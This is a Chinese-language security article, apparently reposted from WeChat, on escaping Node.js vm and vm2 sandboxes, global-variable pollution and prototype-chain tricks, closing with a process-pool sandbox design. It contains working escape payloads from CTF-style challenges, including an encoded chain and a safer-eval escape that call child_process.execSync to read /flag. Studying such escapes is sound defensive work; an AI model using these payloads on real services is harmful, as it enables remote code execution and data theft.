什么是沙箱
node官方文档里提到node的vm模块可以用来做沙箱环境执行代码,对代码的上下文环境做隔离
A common use case is to run the code in a sandboxed environment.
The sandboxed code uses a different V8 Context, meaning that it has a different global object than the rest of the code.
JavaScript本身极其灵活 所以容易出现许多黑魔法
这个node沙箱,他安全吗?
vm相对于尽管隔离了代码上下文环境,但是依然可以访问标准的JS API和全局的NodeJS环境
因此vm并不安全
The vm module is not a security mechanism. Do not use it to run untrusted code
举个例子
const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")
console.log("The app goes on...")
很轻易看出 这一段代码永远不会输出
为了避免上面这种情况,可以将上下文简化成只包含基本类型,如下所示
let ctx = Object.create(null);
ctx.a = 1;
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);
上述代码中的ctx不能包含引用类型的属性
即使能访问标准的JS API和全局的NodeJS环境
也不会造成污染
这是由于node原生vm设计缺陷引起的
于是就有了vm2
https://github.com/patriksimek/vm2
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")().exit()');
// Throws ReferenceError: process is not defined
vm2的timeout对于异步代码不起作用
所以下面的代码永远不会执行结束
陷入死循环
const { VM } = require('vm2');
const vm = new VM({ timeout: 1000, sandbox: {}});
vm.run('new Promise(()=>{})');
这个时候就可以使用黑魔法:通过重新定义Promise的方式来禁用Promise
绕过成功
const { VM } = require('vm2');
const vm = new VM({
timeout: 1000, sandbox: { Promise: function(){}}
});
vm.run('Promise = (async function(){})().constructor;new Promise(()=>{});');
全局变量污染
举个例子~
eval('1+2')
eval 是全局对象的一个函数属性,执行的代码拥有着和应程中其它正常代码一样的的权限,它具有访问执行上下文中的局部变量的功能,亦能访问全部全局变量
此时便造成了所谓的全局变量污染
再举个例子
观察下列两个JavaScript
function f() {
alert("f() in a.js");
}
setTimeout(function() {
f();
}, 1000);
function f() {
alert("f() in b.js");
}
setTimeout(function() {
f();
}, 2000);
先后载入a,b两个js
会看到两次"f() in b.js"
后载入的b.js把f重新定义了
假设a.js需要分割字符串
b.js需要分割数组
两个JavaScript同时拥有split函数
那一个模块就要损毁
二、解决办法
1、定义全局变量命名空间
只创建一个全局变量,并定义该变量为当前应用容器,把其他全局变量追加在该命名空间下
var sxc={};
sxc.name={
big_name:"sunxiaochuan",
small_name:"sungou"
};
sxc.work={
bilibili_work:"chouxiang",
weibo_work:"qialanqian"
};
或者使用匿名函数
(function(){
var exp={};
var name="aa";
exp.method=function(){
return name;
};
window.ex=exp;
})();
JavaScript之原型链污染
function saferEval(str) {
if (str.replace(/(?:Math(?:.w+)?)|[()+-*/&|^%<>=,?:]|(?:d+.?d*(?:ed+)?)| /g, '')) {
return null;
}
return eval(str);
}
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'ErrorOccured';
} catch (e) {
console.log(e);
result = 'ErrorOccured';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
重点关注
function saferEval(str) {
if (str.replace(/(?:Math(?:.w+)?)|[()+-*/&|^%<>=,?:]|(?:d+.?d*(?:ed+)?)| /g, '')) {
return null;
}
return eval(str);
}
绕过正则,因为可以使用Math.随便什么单词,所以可以获取到Math.proto,但这姿势无法直接利用
但是经过尝试,我们发现,Arrow Function 是可以使用的,尝试构造这种链
((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)
// Math.__proto__.__proto__
然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(...)
然后使用
Math+1 // '[object Math]1'
从原型链上导出String和Function
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()
// 等价于
const s = Math+1; // '[object Math]1'
const a = s.constructor; // String
const e = a.fromCharCode(...); // ascii to string
const f = a.constructro; // Function
f(e)(); // 调用
exp:
def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()
再举一例 是最近一个业务场景中遇到的
js依赖库漏洞和vm漏洞
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
Nodejs文档
setTimeout 当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。非整数的 delay 会被截断为整数。
所以直接传
?delay=2147483649
给出了package.json
文件,查看使用依赖库以及版本,对其中比较核心的safer-eval
感到怀疑,尝试搜索(在github advisor或者npm advisor都可以找到)
然后找到了这个
利用很简单,原理就是对于内置函数没有过滤完全,导致可以获取vm外的上下文中的对象
vm2相关issue
构造payload
{
'e': """(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()"""
}
如何建立更为安全的沙箱环境?
通过进程池统一调度管理沙箱进程
基于资源利用最大化,提出以下方案
新建一个进程池,所有任务到来会创建一个 Script 实例
进入 pending 队列
直接将 script 实例的 defer 对象返回
调用处进行 await 执行结果
再由 sandbox master 根据工程进程的空闲程序来调度执行
这个master 会将 script 的执行信息,包括重要的 ScriptId,等等,发送给空闲的 worker
worker 执行完成后会将「结果 + script 信息」回传至 master
master 通过 ScriptId 识别执行完毕的脚本id 判断是哪个脚本结束
结果进行 resolve 或 reject 处理
这样,通过**进程池**即能降低**进程来回创建和销毁的开销**
大致机制如下
异步操作超时,
将工程进程直接kill,
master 将发现一个工程进程被kill掉
再立即创建替补进程
将数据发送至沙箱的方式也值得研究
通过动态代码处理数据,直接序列化后通过 IPC 传入隔离的 Sandbox 进程
执行结果一样经过序列化通过 IPC 传输
其中,如果需要传入一个方法给 sandbox,由于不在一个进程,并不能方便的将引用传递给 sandbox
此时我们可以将宿主方法,在传递给 sandbox worker 之类做一下处理,转换为一个**描述对象**,包括了允许 sandbox 调用的方法集合,然后将允许调用的方法列表,如同其它数据一样发送给 worker 进程,worker 收到数据后,识别出**方法描述对象**,然后在 worker 进程中的 sandbox 对象上建立代理方法,代理方法同样通过 IPC 和 master 通讯。
本文始发于微信公众号(关注安全技术):【转载】nodejs沙箱与黑魔法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论